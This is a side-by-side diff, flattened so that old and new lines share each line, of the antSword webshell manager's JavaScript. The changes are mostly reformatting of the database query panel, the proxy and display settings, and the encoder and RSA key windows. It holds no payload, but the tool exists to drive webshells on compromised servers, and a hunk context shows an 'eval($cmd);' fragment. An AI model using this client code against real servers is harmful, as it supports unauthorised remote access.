? conf['conn'].match(/[\w]+.mdb$/) conf['conn'].match(/[\w]+.mdb$/) :
: 'database' 'database'
})) }))
.then((res) => { .then((res) => {
let ret = res['text']; let ret = res['text'];
...@@ -579,7 +573,11 @@ class CUSTOM { ...@@ -579,7 +573,11 @@ class CUSTOM {
this this
.core .core
.request(this.core[`database_${conf['type']}`].show_tables({conn: conf['conn'], encode: this.manager.opt.encode, db: db})) .request(this.core[`database_${conf['type']}`].show_tables({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: db
}))
.then((res) => { .then((res) => {
let ret = res['text']; let ret = res['text'];
const arr = ret.split('\t'); const arr = ret.split('\t');
...@@ -633,7 +631,12 @@ class CUSTOM { ...@@ -633,7 +631,12 @@ class CUSTOM {
this this
.core .core
.request(this.core[`database_${conf['type']}`].show_columns({conn: conf['conn'], encode: this.manager.opt.encode, db: db, table: table})) .request(this.core[`database_${conf['type']}`].show_columns({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: db,
table: table
}))
.then((res) => { .then((res) => {
let ret = res['text']; let ret = res['text'];
const arr = ret.split('\t'); const arr = ret.split('\t');
...@@ -665,9 +668,9 @@ class CUSTOM { ...@@ -665,9 +668,9 @@ class CUSTOM {
.query .query
.editor .editor
.session .session
.setValue(conf['type'] === 'oracle' .setValue(conf['type'] === 'oracle' ?
? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` :
: `SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`); `SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`);
this this
.manager .manager
.list .list
...@@ -694,7 +697,11 @@ class CUSTOM { ...@@ -694,7 +697,11 @@ class CUSTOM {
this this
.core .core
.request(this.core[`database_${this.dbconf['type']}`].query({conn: this.dbconf['conn'], encode: this.manager.opt.encode, sql: sql})) .request(this.core[`database_${this.dbconf['type']}`].query({
conn: this.dbconf['conn'],
encode: this.manager.opt.encode,
sql: sql
}))
.then((res) => { .then((res) => {
let ret = res['text']; let ret = res['text'];
// 更新执行结果 // 更新执行结果
...@@ -769,9 +776,9 @@ class CUSTOM { ...@@ -769,9 +776,9 @@ class CUSTOM {
'rows': grid_data 'rows': grid_data
}, 'json'); }, 'json');
// 启用导出按钮 // 启用导出按钮
this.manager.result.toolbar[grid_data.length > 0 this.manager.result.toolbar[grid_data.length > 0 ?
? 'enableItem' 'enableItem' :
: 'disableItem']('dump'); 'disableItem']('dump');
} }
// 导出查询数据 // 导出查询数据
...@@ -786,7 +793,8 @@ class CUSTOM { ...@@ -786,7 +793,8 @@ class CUSTOM {
.__opts__ .__opts__
.ip}_${new Date() .ip}_${new Date()
.format("yyyyMMddhhmmss")}.csv`; .format("yyyyMMddhhmmss")}.csv`;
dialog.showSaveDialog({title: LANG['result']['dump']['title'], dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename defaultPath: filename
}, (filePath) => { }, (filePath) => {
if (!filePath) { if (!filePath) {
......
...@@ -11,9 +11,7 @@ const crypto = require('crypto'); ...@@ -11,9 +11,7 @@ const crypto = require('crypto');
class Database { class Database {
constructor(opt) { constructor(opt) {
this.hash = (+ new Date * Math.random()) this.hash = (+new Date * Math.random()).toString(16).substr(2, 8);
.toString(16)
.substr(2, 8);
this.opt = opt; this.opt = opt;
let config = { let config = {
bookmarks: {} bookmarks: {}
...@@ -23,36 +21,26 @@ class Database { ...@@ -23,36 +21,26 @@ class Database {
const tabbar = antSword['tabbar']; const tabbar = antSword['tabbar'];
tabbar.addTab(`tab_database_${this.hash}`, `<i class="fa fa-database"></i> ${opt['ip']}`, null, null, true, true); tabbar.addTab(`tab_database_${this.hash}`, `<i class="fa fa-database"></i> ${opt['ip']}`, null, null, true, true);
this.cell = tabbar.cells(`tab_database_${this.hash}`); this.cell = tabbar.cells(`tab_database_${this.hash}`);
this this.cell.progressOn();
.cell
.progressOn();
// layout // layout
this.layout_main = this this.layout_main = this.cell.attachLayout('2U');
.cell this.layout_right = this.layout_main.cells('b').attachLayout('2E');
.attachLayout('2U');
this.layout_right = this
.layout_main
.cells('b')
.attachLayout('2E');
this.list = this.initList(this.layout_main.cells('a')); this.list = this.initList(this.layout_main.cells('a'));
this.query = this.initQuery(this.layout_right.cells('a')); this.query = this.initQuery(this.layout_right.cells('a'));
this.result = this.initResult(this.layout_right.cells('b')); this.result = this.initResult(this.layout_right.cells('b'));
this.win = new dhtmlXWindows(); this.win = new dhtmlXWindows();
this this.win.attachViewportTo(this.cell.cell);
.win
.attachViewportTo(this.cell.cell);
// 加载数据库驱动 // 加载数据库驱动
const _module = require(`./${opt['type']}/index`); const _module = require(`./${opt['type']}/index`);
this.drive = new _module({core: new antSword['core'][opt['type']](opt), this.drive = new _module({
core: new antSword['core'][opt['type']](opt),
super: this super: this
}); });
this this.cell.progressOff();
.cell
.progressOff();
} }
// 初始化左侧列表 // 初始化左侧列表
...@@ -135,8 +123,7 @@ class Database { ...@@ -135,8 +123,7 @@ class Database {
// 左侧拦toolbar // 左侧拦toolbar
const toolbar = layout.attachToolbar(); const toolbar = layout.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'add', id: 'add',
text: LANG['list']['add'], text: LANG['list']['add'],
icon: 'plus-circle', icon: 'plus-circle',
...@@ -164,8 +151,7 @@ class Database { ...@@ -164,8 +151,7 @@ class Database {
text: LANG['list']['check'], text: LANG['list']['check'],
icon: 'spinner', icon: 'spinner',
type: 'button' type: 'button'
} }]);
]);
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
switch (id) { switch (id) {
case 'add': case 'add':
...@@ -188,7 +174,11 @@ class Database { ...@@ -188,7 +174,11 @@ class Database {
break; break;
} }
}); });
return {imgs: imgs, layout: layout, toolbar: toolbar}; return {
imgs: imgs,
layout: layout,
toolbar: toolbar
};
} }
// 初始化右侧::SQL执行 // 初始化右侧::SQL执行
...@@ -202,22 +192,19 @@ class Database { ...@@ -202,22 +192,19 @@ class Database {
editor = ace.edit(layout.cell.lastChild); editor = ace.edit(layout.cell.lastChild);
editor.$blockScrolling = Infinity; editor.$blockScrolling = Infinity;
editor.setTheme('ace/theme/tomorrow'); editor.setTheme('ace/theme/tomorrow');
editor editor.session.setMode('ace/mode/sql');
.session editor.session.setUseWrapMode(true);
.setMode('ace/mode/sql'); editor.session.setWrapLimitRange(null, null);
editor
.session
.setUseWrapMode(true);
editor
.session
.setWrapLimitRange(null, null);
editor.setOptions({fontSize: '14px', enableBasicAutocompletion: true, enableSnippets: true, enableLiveAutocompletion: true}); editor.setOptions({
fontSize: '14px',
enableBasicAutocompletion: true,
enableSnippets: true,
enableLiveAutocompletion: true
});
// 快捷键 // 快捷键
editor editor.commands.addCommand({
.commands
.addCommand({
name: 'exec', name: 'exec',
bindKey: { bindKey: {
win: 'Ctrl-E', win: 'Ctrl-E',
...@@ -228,27 +215,25 @@ class Database { ...@@ -228,27 +215,25 @@ class Database {
} }
}); });
editor editor.session.setValue("SELECT 'Hello antSword :)' AS welcome;");
.session
.setValue("SELECT 'Hello antSword :)' AS welcome;");
// SQL语句toolbar // SQL语句toolbar
const toolbar = layout.attachToolbar(); const toolbar = layout.attachToolbar();
let bookmark = JSON.parse(this.storage('dbbookmarks').get('{}')); let bookmark = JSON.parse(this.storage('dbbookmarks').get('{}'));
let reloadToolbar = () => { let reloadToolbar = () => {
let bookmark_opts = [ let bookmark_opts = [{
{
id: 'bookmark_add', id: 'bookmark_add',
type: 'button', type: 'button',
icon: 'plus-circle', icon: 'plus-circle',
text: LANG['query']['bookmark']['add'], text: LANG['query']['bookmark']['add'],
// enabled: // enabled:
// !!bookmark[Buffer.from(editor.session.getValue()).toString('base64')], // !!bookmark[Buffer.from(editor.session.getValue()).toString('base64')],
} }];
];
let global_bookmarks = this.config.bookmarks || {}; let global_bookmarks = this.config.bookmarks || {};
if (Object.keys(global_bookmarks).length > 0) { if (Object.keys(global_bookmarks).length > 0) {
bookmark_opts.push({type: 'separator'}); bookmark_opts.push({
type: 'separator'
});
for (let gb in global_bookmarks) { for (let gb in global_bookmarks) {
bookmark_opts.push({ bookmark_opts.push({
id: 'bookmark_' + global_bookmarks[gb], id: 'bookmark_' + global_bookmarks[gb],
...@@ -261,7 +246,9 @@ class Database { ...@@ -261,7 +246,9 @@ class Database {
} }
} }
if (!$.isEmptyObject(bookmark)) { if (!$.isEmptyObject(bookmark)) {
bookmark_opts.push({type: 'separator'}); bookmark_opts.push({
type: 'separator'
});
}; };
for (let _ in bookmark) { for (let _ in bookmark) {
bookmark_opts.push({ bookmark_opts.push({
...@@ -274,11 +261,19 @@ class Database { ...@@ -274,11 +261,19 @@ class Database {
} }
// 添加清除按钮 // 添加清除按钮
if (bookmark_opts.length > 2) { if (bookmark_opts.length > 2) {
bookmark_opts.push({type: 'separator'}); bookmark_opts.push({
bookmark_opts.push({id: 'bookmark_remove', icon: 'remove', text: LANG['query']['bookmark']['del'], type: 'separator'
});
bookmark_opts.push({
id: 'bookmark_remove',
icon: 'remove',
text: LANG['query']['bookmark']['del'],
type: 'button' type: 'button'
}); });
bookmark_opts.push({id: 'bookmark_clear', icon: 'trash-o', text: LANG['query']['bookmark']['clear'], bookmark_opts.push({
id: 'bookmark_clear',
icon: 'trash-o',
text: LANG['query']['bookmark']['clear'],
type: 'button' type: 'button'
}); });
}; };
...@@ -291,8 +286,7 @@ class Database { ...@@ -291,8 +286,7 @@ class Database {
} }
}) })
toolbar.clearAll(); toolbar.clearAll();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'exec', id: 'exec',
text: LANG['query']['exec'], text: LANG['query']['exec'],
icon: 'play', icon: 'play',
...@@ -340,14 +334,8 @@ class Database { ...@@ -340,14 +334,8 @@ class Database {
value: antSword.noxss(editor.session.getValue()), value: antSword.noxss(editor.session.getValue()),
title: LANG['query']['prompt']['add']['title'] title: LANG['query']['prompt']['add']['title']
}, (value, i, e) => { }, (value, i, e) => {
bookmark[ bookmark[Buffer.from(editor.session.getValue()).toString('base64')] = value;
Buffer self.storage('dbbookmarks').set(JSON.stringify(bookmark));
.from(editor.session.getValue())
.toString('base64')
] = value;
self
.storage('dbbookmarks')
.set(JSON.stringify(bookmark));
toastr.success(LANG['query']['prompt']['add']['success'](editor.session.getValue()), LANG_T['success']); toastr.success(LANG['query']['prompt']['add']['success'](editor.session.getValue()), LANG_T['success']);
reloadToolbar(); reloadToolbar();
layer.close(i); layer.close(i);
...@@ -400,7 +388,12 @@ class Database { ...@@ -400,7 +388,12 @@ class Database {
}; };
}); });
return {reloadToolbar: reloadToolbar, editor: editor, layout: layout, toolbar: toolbar}; return {
reloadToolbar: reloadToolbar,
editor: editor,
layout: layout,
toolbar: toolbar
};
} }
// 初始化右侧::执行结果 // 初始化右侧::执行结果
...@@ -409,8 +402,7 @@ class Database { ...@@ -409,8 +402,7 @@ class Database {
// layout.hideHeader(); // layout.hideHeader();
const toolbar = layout.attachToolbar(); const toolbar = layout.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'dump', id: 'dump',
text: '导出', text: '导出',
icon: 'upload', icon: 'upload',
...@@ -418,8 +410,7 @@ class Database { ...@@ -418,8 +410,7 @@ class Database {
disabled: true disabled: true
}, { }, {
type: 'separator' type: 'separator'
} }]);
]);
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
switch (id) { switch (id) {
case 'dump': case 'dump':
...@@ -429,12 +420,15 @@ class Database { ...@@ -429,12 +420,15 @@ class Database {
break; break;
} }
}); });
return {layout: layout, toolbar: toolbar}; return {
layout: layout,
toolbar: toolbar
};
} }
// 创建窗口 // 创建窗口
createWin(opts) { createWin(opts) {
const hash = (+ new Date * Math.random()) const hash = (+new Date * Math.random())
.toString(16) .toString(16)
.substr(2, 8); .substr(2, 8);
// 默认配置 // 默认配置
...@@ -464,7 +458,11 @@ class Database { ...@@ -464,7 +458,11 @@ class Database {
// 检测数据库函数支持 // 检测数据库函数支持
checkprobe() { checkprobe() {
let that = this; let that = this;
let win = that.createWin({title: LANG['probedb']['title'], width: 350, height: 400}); let win = that.createWin({
title: LANG['probedb']['title'],
width: 350,
height: 400
});
const func_mapping = { const func_mapping = {
// PHP // PHP
'mysql_close': 'MYSQL', 'mysql_close': 'MYSQL',
...@@ -509,16 +507,15 @@ class Database { ...@@ -509,16 +507,15 @@ class Database {
data_arr.push({ data_arr.push({
id: i + 1, id: i + 1,
data: [ data: [
func_mapping.hasOwnProperty(item[0]) func_mapping.hasOwnProperty(item[0]) ?
? func_mapping[item[0]] func_mapping[item[0]] :
: antSword.noxss(item[0]), antSword.noxss(item[0]),
parseInt(item[1]) === 1 parseInt(item[1]) === 1 ?
? "√" "√" :
: "×" "×"
], ],
style: parseInt(item[1]) === 1 style: parseInt(item[1]) === 1 ?
? "background-color:#ADF1B9" "background-color:#ADF1B9" : ""
: ""
}); });
} }
grid.parse({ grid.parse({
......
...@@ -96,9 +96,9 @@ class Folder { ...@@ -96,9 +96,9 @@ class Folder {
let _path = path + _; let _path = path + _;
let _obj = { let _obj = {
id: (_path), id: (_path),
text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3)) text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3)) ?
? _ _ :
: _.replace(/\/$/, '')) _.replace(/\/$/, ''))
}; };
let _result = parseItem(obj[_], _path); let _result = parseItem(obj[_], _path);
if (_result) { if (_result) {
......
...@@ -50,7 +50,7 @@ class Tasks { ...@@ -50,7 +50,7 @@ class Tasks {
.cell .cell
.expand(); .expand();
// 创建一个随机ID // 创建一个随机ID
const hash = String(+ new Date() + Math.random()).replace('.', '_'); const hash = String(+new Date() + Math.random()).replace('.', '_');
this this
.grid .grid
.addRow(hash, [ .addRow(hash, [
......
...@@ -7,7 +7,11 @@ const LANG = antSword['language']['settings']['about']; ...@@ -7,7 +7,11 @@ const LANG = antSword['language']['settings']['about'];
class About { class About {
constructor(sidebar) { constructor(sidebar) {
sidebar.addItem({id: 'about', selected: true, text: `<i class="fa fa-heart-o"></i> ${LANG['title']}`}); sidebar.addItem({
id: 'about',
selected: true,
text: `<i class="fa fa-heart-o"></i> ${LANG['title']}`
});
const cell = sidebar.cells('about'); const cell = sidebar.cells('about');
cell.attachHTMLString(` cell.attachHTMLString(`
<div align="center" class="about"> <div align="center" class="about">
......
This diff is collapsed.
...@@ -8,7 +8,10 @@ const LANG_T = antSword['language']['toastr']; ...@@ -8,7 +8,10 @@ const LANG_T = antSword['language']['toastr'];
class AProxy { class AProxy {
constructor(sidebar) { constructor(sidebar) {
sidebar.addItem({id: 'aproxy', text: `<i class="fa fa-paper-plane"></i> ${LANG['title']}`}); sidebar.addItem({
id: 'aproxy',
text: `<i class="fa fa-paper-plane"></i> ${LANG['title']}`
});
const cell = sidebar.cells('aproxy'); const cell = sidebar.cells('aproxy');
// 代理数据 // 代理数据
const aproxymode = localStorage.getItem('aproxymode') || 'noproxy'; const aproxymode = localStorage.getItem('aproxymode') || 'noproxy';
...@@ -20,8 +23,7 @@ class AProxy { ...@@ -20,8 +23,7 @@ class AProxy {
// 工具栏 // 工具栏
const toolbar = cell.attachToolbar(); const toolbar = cell.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'save', id: 'save',
type: 'button', type: 'button',
text: LANG['toolbar']['save'], text: LANG['toolbar']['save'],
...@@ -35,12 +37,10 @@ class AProxy { ...@@ -35,12 +37,10 @@ class AProxy {
text: LANG['toolbar']['test'], text: LANG['toolbar']['test'],
icon: 'spinner', icon: 'spinner',
disabled: aproxymode === 'noproxy' disabled: aproxymode === 'noproxy'
} }]);
]);
// 表单 // 表单
const form = cell.attachForm([ const form = cell.attachForm([{
{
type: 'settings', type: 'settings',
position: 'label-left', position: 'label-left',
labelWidth: 150, labelWidth: 150,
...@@ -49,8 +49,7 @@ class AProxy { ...@@ -49,8 +49,7 @@ class AProxy {
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 12, offsetTop: 12,
list: [ list: [{
{
type: 'label', type: 'label',
label: LANG['form']['label'] label: LANG['form']['label']
}, { }, {
...@@ -67,14 +66,12 @@ class AProxy { ...@@ -67,14 +66,12 @@ class AProxy {
name: 'aproxymode', name: 'aproxymode',
value: 'manualproxy', value: 'manualproxy',
checked: aproxymode === 'manualproxy', checked: aproxymode === 'manualproxy',
list: [ list: [{
{
type: 'combo', type: 'combo',
label: LANG['form']['proxy']['protocol'], label: LANG['form']['proxy']['protocol'],
readonly: true, readonly: true,
name: 'protocol', name: 'protocol',
options: [ options: [{
{
text: 'HTTP', text: 'HTTP',
value: 'http', value: 'http',
selected: aproxyprotocol === 'http' selected: aproxyprotocol === 'http'
...@@ -90,8 +87,7 @@ class AProxy { ...@@ -90,8 +87,7 @@ class AProxy {
text: 'SOCKS4', text: 'SOCKS4',
value: 'socks4', value: 'socks4',
selected: aproxyprotocol === 'socks4' selected: aproxyprotocol === 'socks4'
} }]
]
}, { }, {
type: 'input', type: 'input',
label: LANG['form']['proxy']['server'], label: LANG['form']['proxy']['server'],
...@@ -116,12 +112,9 @@ class AProxy { ...@@ -116,12 +112,9 @@ class AProxy {
label: LANG['form']['proxy']['password'], label: LANG['form']['proxy']['password'],
name: 'password', name: 'password',
value: aproxypassword value: aproxypassword
} }]
] }]
} }], true);
]
}
], true);
form.enableLiveValidation(true); form.enableLiveValidation(true);
form.attachEvent("onChange", function (name, value, is_checked) { form.attachEvent("onChange", function (name, value, is_checked) {
if (name == "aproxymode") { if (name == "aproxymode") {
...@@ -169,7 +162,9 @@ class AProxy { ...@@ -169,7 +162,9 @@ class AProxy {
formType: 0 formType: 0
}, function (testurl, index) { }, function (testurl, index) {
layer.close(index); layer.close(index);
var loadindex = layer.load(2, {time: 6 *1000}); var loadindex = layer.load(2, {
time: 6 * 1000
});
var _formvals = form.getValues(); var _formvals = form.getValues();
var _server = _formvals['server'] var _server = _formvals['server']
.replace(/.+:\/\//, '') .replace(/.+:\/\//, '')
...@@ -181,7 +176,7 @@ class AProxy { ...@@ -181,7 +176,7 @@ class AProxy {
_aproxyauth = _formvals['username'] + ":" + _formvals['password']; _aproxyauth = _formvals['username'] + ":" + _formvals['password'];
} }
var _aproxyuri = _formvals['protocol'] + '://' + _aproxyauth + '@' + _server + ':' + _formvals['port']; var _aproxyuri = _formvals['protocol'] + '://' + _aproxyauth + '@' + _server + ':' + _formvals['port'];
var hash = (String(+ new Date) + String(Math.random())) var hash = (String(+new Date) + String(Math.random()))
.substr(10, 10) .substr(10, 10)
.replace('.', '_'); .replace('.', '_');
......
...@@ -8,46 +8,40 @@ const LANG_T = antSword['language']['toastr']; ...@@ -8,46 +8,40 @@ const LANG_T = antSword['language']['toastr'];
class Display { class Display {
constructor(sidebar) { constructor(sidebar) {
sidebar.addItem({id: 'display', text: `<i class="fa fa-television"></i> ${LANG['title']}`}); sidebar.addItem({
id: 'display',
text: `<i class="fa fa-television"></i> ${LANG['title']}`
});
const cell = sidebar.cells('display'); const cell = sidebar.cells('display');
const display_shellmanager_hiddencolumns = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns') const display_shellmanager_hiddencolumns = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns') ?
? JSON.parse(localStorage.display_shellmanager_hiddencolumns) JSON.parse(localStorage.display_shellmanager_hiddencolumns) : [];
: [];
const toolbar = cell.attachToolbar(); const toolbar = cell.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'save', id: 'save',
type: 'button', type: 'button',
text: LANG['toolbar']['save'], text: LANG['toolbar']['save'],
icon: 'save' icon: 'save'
} }]);
]);
// 表单 // 表单
const form = cell.attachForm([ const form = cell.attachForm([{
{
type: 'block', type: 'block',
name: 'shellmanager', name: 'shellmanager',
list: [ list: [{
{
type: "label", type: "label",
label: LANG['form']['shellmanager']['title'] label: LANG['form']['shellmanager']['title']
} }]
] }]);
}
]);
const LANG_HC = LANG['form']['shellmanager']['hiddencolumns']; const LANG_HC = LANG['form']['shellmanager']['hiddencolumns'];
// 数据管理隐藏列 // 数据管理隐藏列
form.addItem('shellmanager', { form.addItem('shellmanager', {
type: "fieldset", type: "fieldset",
label: LANG_HC['title'], label: LANG_HC['title'],
list: [ list: [{
{
type: "block", type: "block",
list: [ list: [{
{
type: "checkbox", type: "checkbox",
label: LANG_HC['url'], label: LANG_HC['url'],
name: 'hidden_columns[0]', name: 'hidden_columns[0]',
...@@ -105,10 +99,8 @@ class Display { ...@@ -105,10 +99,8 @@ class Display {
checked: display_shellmanager_hiddencolumns.indexOf(5) != -1, checked: display_shellmanager_hiddencolumns.indexOf(5) != -1,
position: "label-right", position: "label-right",
value: 6 value: 6
} }]
] }]
}
]
}); });
// 保存 // 保存
......
...@@ -28,22 +28,23 @@ class Encoders { ...@@ -28,22 +28,23 @@ class Encoders {
} }
} }
sidebar.addItem({id: 'encoders', text: `<i class="fa fa-file-code-o"></i> ${LANG['title']}`}); sidebar.addItem({
id: 'encoders',
text: `<i class="fa fa-file-code-o"></i> ${LANG['title']}`
});
that.cell = sidebar.cells('encoders'); that.cell = sidebar.cells('encoders');
const toolbar = that const toolbar = that
.cell .cell
.attachToolbar(); .attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
type: 'buttonSelect', type: 'buttonSelect',
text: LANG['toolbar']['new'], text: LANG['toolbar']['new'],
icon: 'plus-circle', icon: 'plus-circle',
id: 'new', id: 'new',
openAll: true, openAll: true,
options: [ options: [{
{
id: 'new_asp', id: 'new_asp',
icon: 'file-code-o', icon: 'file-code-o',
type: 'button', type: 'button',
...@@ -72,16 +73,14 @@ class Encoders { ...@@ -72,16 +73,14 @@ class Encoders {
icon: 'file-code-o', icon: 'file-code-o',
type: 'button', type: 'button',
text: "PHP RSA" text: "PHP RSA"
} }]
]
}, { }, {
type: 'buttonSelect', type: 'buttonSelect',
text: LANG['toolbar']['new_decoder'], text: LANG['toolbar']['new_decoder'],
icon: 'plus-circle', icon: 'plus-circle',
id: 'new_decoder', id: 'new_decoder',
openAll: true, openAll: true,
options: [ options: [{
{
id: 'new_php_decoder', id: 'new_php_decoder',
icon: 'file-code-o', icon: 'file-code-o',
type: 'button', type: 'button',
...@@ -93,8 +92,7 @@ class Encoders { ...@@ -93,8 +92,7 @@ class Encoders {
icon: 'file-code-o', icon: 'file-code-o',
type: 'button', type: 'button',
text: "Custom" text: "Custom"
} }]
]
}, { }, {
type: 'separator' type: 'separator'
}, { }, {
...@@ -121,8 +119,7 @@ class Encoders { ...@@ -121,8 +119,7 @@ class Encoders {
text: LANG['toolbar']['more'], text: LANG['toolbar']['more'],
icon: 'fa fa-chrome', icon: 'fa fa-chrome',
id: 'more' id: 'more'
} }]);
]);
toolbar.attachEvent("onClick", (id) => { toolbar.attachEvent("onClick", (id) => {
switch (id) { switch (id) {
...@@ -243,11 +240,11 @@ class Encoders { ...@@ -243,11 +240,11 @@ class Encoders {
let self = this; let self = this;
let idArr = id.split('_'); let idArr = id.split('_');
let type = idArr[1]; let type = idArr[1];
let rsa = idArr.length >= 3 let rsa = idArr.length >= 3 ?
? (idArr[2] === 'rsa' (idArr[2] === 'rsa' ?
? '_rsa' '_rsa' :
: '') '') :
: ''; '';
layer.prompt({ layer.prompt({
value: `my${edtype}`, value: `my${edtype}`,
...@@ -349,16 +346,14 @@ class Encoders { ...@@ -349,16 +346,14 @@ class Encoders {
let toolbar = _win let toolbar = _win
.win .win
.attachToolbar(); .attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'save', id: 'save',
type: 'button', type: 'button',
icon: 'save', icon: 'save',
text: LANG["toolbar"]['save'] text: LANG["toolbar"]['save']
}, { }, {
type: 'separator' type: 'separator'
} }]);
]);
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
if (id === 'save') { if (id === 'save') {
// 保存代码 // 保存代码
...@@ -387,7 +382,13 @@ class Encoders { ...@@ -387,7 +382,13 @@ class Encoders {
editor editor
.session .session
.setWrapLimitRange(null, null); .setWrapLimitRange(null, null);
editor.setOptions({tabSize: 2, fontSize: '14px', enableBasicAutocompletion: true, enableSnippets: true, enableLiveAutocompletion: true}); editor.setOptions({
tabSize: 2,
fontSize: '14px',
enableBasicAutocompletion: true,
enableSnippets: true,
enableLiveAutocompletion: true
});
// 编辑器快捷键 // 编辑器快捷键
editor editor
.commands .commands
...@@ -422,7 +423,9 @@ class Encoders { ...@@ -422,7 +423,9 @@ class Encoders {
// 生成 RSA // 生成 RSA
generateRsaKey(bit = 1024) { generateRsaKey(bit = 1024) {
const key = new NodeRSA({b: bit}); const key = new NodeRSA({
b: bit
});
let pubKey = key.exportKey('pkcs8-public-pem'); let pubKey = key.exportKey('pkcs8-public-pem');
let priKey = key.exportKey('pkcs1-private-pem'); let priKey = key.exportKey('pkcs1-private-pem');
let keyPath = this.rsa.keyPath; let keyPath = this.rsa.keyPath;
...@@ -442,12 +445,12 @@ class Encoders { ...@@ -442,12 +445,12 @@ class Encoders {
// 重新读取 RSA // 重新读取 RSA
reloadRsa() { reloadRsa() {
let keyPath = this.rsa.keyPath; let keyPath = this.rsa.keyPath;
let pubKey = fs.existsSync(keyPath.pub) let pubKey = fs.existsSync(keyPath.pub) ?
? fs.readFileSync(keyPath.pub) fs.readFileSync(keyPath.pub) :
: ''; '';
let priKey = fs.existsSync(keyPath.pri) let priKey = fs.existsSync(keyPath.pri) ?
? fs.readFileSync(keyPath.pri) fs.readFileSync(keyPath.pri) :
: ''; '';
this this
.rsa .rsa
.form .form
...@@ -494,14 +497,12 @@ eval($cmd);`); ...@@ -494,14 +497,12 @@ eval($cmd);`);
.win .win
.attachForm(); .attachForm();
self.rsa.form = form; self.rsa.form = form;
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'generate', id: 'generate',
type: 'button', type: 'button',
icon: 'repeat', icon: 'repeat',
text: LANG["toolbar"]['generate'] text: LANG["toolbar"]['generate']
} }]);
]);
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
if (id === 'generate') { if (id === 'generate') {
if (fs.existsSync(self.rsa.keyPath.pub) && fs.existsSync(self.rsa.keyPath.pri)) { if (fs.existsSync(self.rsa.keyPath.pub) && fs.existsSync(self.rsa.keyPath.pri)) {
...@@ -518,8 +519,7 @@ eval($cmd);`); ...@@ -518,8 +519,7 @@ eval($cmd);`);
} }
} }
}); });
form.loadStruct([ form.loadStruct([{
{
type: "settings", type: "settings",
labelWidth: 750, labelWidth: 750,
inputWidth: 750, inputWidth: 750,
...@@ -530,8 +530,7 @@ eval($cmd);`); ...@@ -530,8 +530,7 @@ eval($cmd);`);
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 20, offsetTop: 20,
list: [ list: [{
{
type: 'input', type: 'input',
label: LANG['form']['public_key'], label: LANG['form']['public_key'],
name: 'public_key', name: 'public_key',
...@@ -549,10 +548,8 @@ eval($cmd);`); ...@@ -549,10 +548,8 @@ eval($cmd);`);
name: 'php_code', name: 'php_code',
rows: 20, rows: 20,
value: '' value: ''
} }]
] }], true);
}
], true);
self.reloadRsa(); self.reloadRsa();
} }
...@@ -760,17 +757,17 @@ module.exports = { ...@@ -760,17 +757,17 @@ module.exports = {
}; };
let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
// 初始化 // 初始化
!fs.existsSync(userencoder_path) !fs.existsSync(userencoder_path) ?
? fs.mkdirSync(userencoder_path) fs.mkdirSync(userencoder_path) :
: null; null;
['asp', 'aspx', 'php', 'custom'].map((t) => { ['asp', 'aspx', 'php', 'custom'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) !fs.existsSync(path.join(userencoder_path, `${t}`)) ?
? fs.mkdirSync(path.join(userencoder_path, `${t}`)) fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
: null; null;
let t_path = path.join(userencoder_path, `${t}/encoder/`); let t_path = path.join(userencoder_path, `${t}/encoder/`);
!fs.existsSync(t_path) !fs.existsSync(t_path) ?
? fs.mkdirSync(t_path) fs.mkdirSync(t_path) :
: null; null;
let es = fs.readdirSync(t_path); let es = fs.readdirSync(t_path);
if (es) { if (es) {
...@@ -807,17 +804,17 @@ module.exports = { ...@@ -807,17 +804,17 @@ module.exports = {
}; };
let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
// 初始化 // 初始化
!fs.existsSync(userdecoder_path) !fs.existsSync(userdecoder_path) ?
? fs.mkdirSync(userdecoder_path) fs.mkdirSync(userdecoder_path) :
: null; null;
['asp', 'aspx', 'php', 'custom'].map((t) => { ['asp', 'aspx', 'php', 'custom'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) !fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
? fs.mkdirSync(path.join(userdecoder_path, `${t}`)) fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
: null; null;
let t_path = path.join(userdecoder_path, `${t}/decoder/`); let t_path = path.join(userdecoder_path, `${t}/decoder/`);
!fs.existsSync(t_path) !fs.existsSync(t_path) ?
? fs.mkdirSync(t_path) fs.mkdirSync(t_path) :
: null; null;
let es = fs.readdirSync(t_path); let es = fs.readdirSync(t_path);
if (es) { if (es) {
......
